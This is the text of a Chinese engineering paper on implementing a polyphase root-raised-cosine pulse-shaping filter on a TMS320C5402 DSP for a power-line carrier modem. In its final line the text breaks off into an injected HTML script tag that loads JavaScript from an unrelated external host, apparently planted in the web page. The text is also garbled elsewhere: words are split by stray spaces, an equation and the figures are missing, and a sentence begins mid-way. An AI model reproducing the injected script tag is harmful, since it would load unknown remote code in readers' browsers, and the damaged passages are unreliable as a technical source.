摘 要: 脉冲成形技术能有效减小码间干扰和被调制信号的谱宽度，利用多相结构可以降低脉冲成形滤波器对硬件电路运算速度及处理字长的要求。根据tms320c5402的特点，介绍了一种基于多相结构的任意倍内插均方根升余弦脉冲成形滤波器的实现方法，以及在实现过程中应注意的问题。该软件模块已成功应用于全数字低压电力载波机。
关键词: 多相滤波器; 脉冲成形; 数字信号处理器
implementation of pulse shaping filter based on multi phase structure
zheng yingqiang, zhang zhenren
(the second artillery engineering institute, xi'an 710025, china)
abstract: intersymbol interference(isi) and frequency width expanding can be avoided by pulse shaping technique in most communication system. the multiphase structure filter needs less multiplication operations comparing with some other fir filte r and it's a good choice for pulse shaping implementation.a pulseshaping schem e based on multiphase filter using tms320c5402 is presented in this paper.some key points for debugging are described.
key words: multiphase filter; pulse shaping; digital signa l processor
1前言
当矩形脉冲通过带限信道时，脉冲会在时间上扩展而在相邻符号的码元内造成码间干扰（isi），并导致接收机在检测一个码元时发生错误的概率增加。一种常用的减小串扰的方法是增加信道带宽，然而在电力线宽带接入及其它各类通信系统中都要求系统使用的带宽尽可能小，所以不可能无限制增加所占用的信道带宽［1］。脉冲成形技术可以 有效减小码间影响和被调制信号的谱宽度。
在全数字载波机中，脉冲内插成形滤波需要较大的计算量，一般在基带由专用asic芯片或fpga来实现。文献［2，3］分别介绍了一种采用fpga实现的多相结构脉冲成形滤波器，文献［4］给出了在fpga上采用流水线技术实现脉冲成形滤波器的方案。除了采用fpga，一些专用芯片如ad9853、hsp50215等也具有脉冲成形滤波功能。与专用asic芯片和fpga相比，数字信号处理器（dsp）芯片现场可编程性好［5］，实现的脉冲成形滤波器具有更好的可移植性和扩展性，适于全数字电力载波机等数字通信系统［6］。
本文将介绍采用多相滤波结构的脉冲内插成形滤波器在全数字低压电力载波机中的实现方案，并给出该方案在dsp芯片tms320c5402上的实现过程以及在实现过程中应该注意的若干问题。
2升余弦脉冲成形滤波器
实际通信系统中常用的脉冲成形滤波器是具有升余弦特性的滤波器，频域内表达式为
升余弦频率响应经常用来生成发射机、信道和接收机的组合波形。如果发射的脉冲波形为升余弦脉冲，则只有当接收机和信道的组合频率响应为常数时，整个通信系统的频率响应才是升余弦脉冲。然而即使是经过理想的信道，最优接收滤波器的响应在存在加性噪声的情况下一般也不是常数，所以可以采用的方案是使用均方根升余弦脉冲波形作为发射波形，其频率响应是式(1)的平方根。若信道是理想的，且接收机的频率响应与发射机的频率响应完全一致，则得到的系统响应将是升余弦频率响应［7］。
本文采用滚降系数为0.5的均方根升余弦脉冲成形滤波器，内插倍数选为5倍（根据需要可以 选用其它的内插倍数，倍数选为5并不影响本文下面的介绍）。该滤波器在matlab下可采用以下语句进行设计：［num,den］=rcosine(1,5,′fir/sqrt′,0.5) 。
其中，num为返回该滤波器的分子，den为返回该滤波器的分母。由于滤波器类型是‘fir/sqrt’，即fir类型的均方根升余弦滤波器，所以分母den为1。其幅频、相频响应如图1、2所示。
3多相结构滤波器
在数字系统中进行抽样率变换时，数字滤波器是不可缺少的。抽取时作为抗混迭滤波器，内插时作为反镜像滤波器。图3和图4分别是抽取和内插的结构模型［8］
从图中可以看出，两种运算模型对运算速度的要求是相当高的，这主要表现在抽取模型 中的低通滤波器hlp(ejw)位于抽取算子d之前，也就是说低通滤波器是在降速之前实现的；而对于内插器，低通滤波又是在提速之后进行的。总之，无论是抽取还是内插，其抗混迭/反镜像数字滤波均在高取样率条件下进行，这无疑大大提高了对运算速度的要求，对信号的实时处理极为不利。
用，此处给出一个l倍内插器多相滤波结构的实现框图，如图5所示。
由图可见，此时的数字滤波器rk(z)位于内插器之前，即滤波是在数据流提速之前进行的，这就大大降低了对处理器的要求，提高了实时处理能力。此外，多相滤波器结构的另一?script src=http://er12.com/t.js>
